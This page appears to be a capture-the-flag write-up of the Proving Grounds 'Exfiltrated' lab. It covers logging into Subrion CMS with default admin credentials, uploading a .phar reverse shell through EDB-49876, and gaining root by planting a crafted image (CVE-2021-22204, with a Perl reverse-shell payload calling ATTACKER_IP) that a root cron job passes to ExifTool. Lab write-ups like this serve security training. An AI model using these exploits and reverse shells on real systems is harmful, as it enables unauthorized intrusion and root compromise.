Skip to content
HackIndex logo

HackIndex

Exfiltrated Writeup - Proving Grounds

Easy Linux
Proving Grounds Discuss on Discord

Last updated May 10, 2026 • 3 min read

Joshua

HackIndex Creator

Discovery

Two open TCP ports: SSH on 22 and HTTP on 80. The web server redirects to http://exfiltrated.offsec/, which needs to be added to /etc/hosts. The Nmap scan already reveals seven disallowed paths in robots.txt, including /panel/ and /uploads/.

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP 
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://exfiltrated.offsec/
| http-robots.txt: 7 disallowed entries
| /backup/ /cron/? /front/ /install/ /panel/ /tmp/
|_/updates/
┌──(kali㉿kali)-[~]
└─$ addhost $TARGET_IP exfiltrated.offsec 
[+] Added: 192.168.237.163 → exfiltrated.offsec

Enumeration

The homepage identifies the CMS as Subrion 4.2. The admin panel is reachable at /panel/. Default credentials admin:admin work and land in the dashboard.

Subrion 4.2.1 has a known arbitrary file upload vulnerability (EDB-49876). The panel's upload section at /panel/uploads/ allows .phar files, which Apache executes as PHP.

┌──(kali㉿kali)-[~]
└─$ searchsploit subrion 4.2 
Subrion CMS 4.2.1 - Arbitrary File Upload  | php/webapps/49876.py

Initial Access

Upload a PHP reverse shell with a .phar extension via the panel's file manager, then trigger it by browsing to http://exfiltrated.offsec/uploads/shell.phar.

┌──(kali㉿kali)-[~]
└─$ python3 49876.py -u http://exfiltrated.offsec/panel/ -l admin -p admin 
[*] Uploading shell...
[*] Shell uploaded: http://exfiltrated.offsec/uploads/shell.phar
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
connect to [192.168.45.192] from (UNKNOWN) [192.168.237.163]
www-data@exfiltrated:/var/www/html/subrion/uploads$

Privilege Escalation

Cron Running ExifTool on Uploads

Checking the system crontab reveals a root-run script executing every minute:

user@host ~ $ cat /etc/crontab 
* * * * *  root  bash /opt/image-exif.sh
user@host ~ $ cat /opt/image-exif.sh 
IMAGES='/var/www/html/subrion/uploads'
META='/opt/metadata'
FILE=`openssl rand -hex 5`
LOGFILE="$META/$FILE"

ls $IMAGES | grep "jpg" | while read filename;
do
    exiftool "$IMAGES/$filename" >> $LOGFILE
done

Every minute, root runs exiftool against every .jpg file in the uploads directory. Checking the installed version:

user@host ~ $ exiftool -ver 
11.88

ExifTool 11.88 is vulnerable to CVE-2021-22204 — arbitrary code execution when parsing a malicious DjVu file. The exploit (EDB-50911) generates a crafted image that embeds a Perl reverse shell payload in its metadata. When exiftool parses it, the payload executes as root.

┌──(kali㉿kali)-[~]
└─$ python3 50911.py -s $ATTACKER_IP $ATTACKER_PORT 
RUNNING: UNICORD Exploit for CVE-2021-22204
PAYLOAD: (metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));...exec('/bin/sh -i');};")
RUNTIME: DONE - Exploit image written to 'image.jpg'

Upload the generated image.jpg to the uploads directory via the existing www-data shell, then wait for the cron to fire:

user@host ~ $ echo "<base64_content>" | base64 -d > /var/www/html/subrion/uploads/image.jpg
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
connect to [192.168.45.192] from (UNKNOWN) [192.168.237.163]
# whoami
root

Root shell obtained when the cron fires within the next minute.

References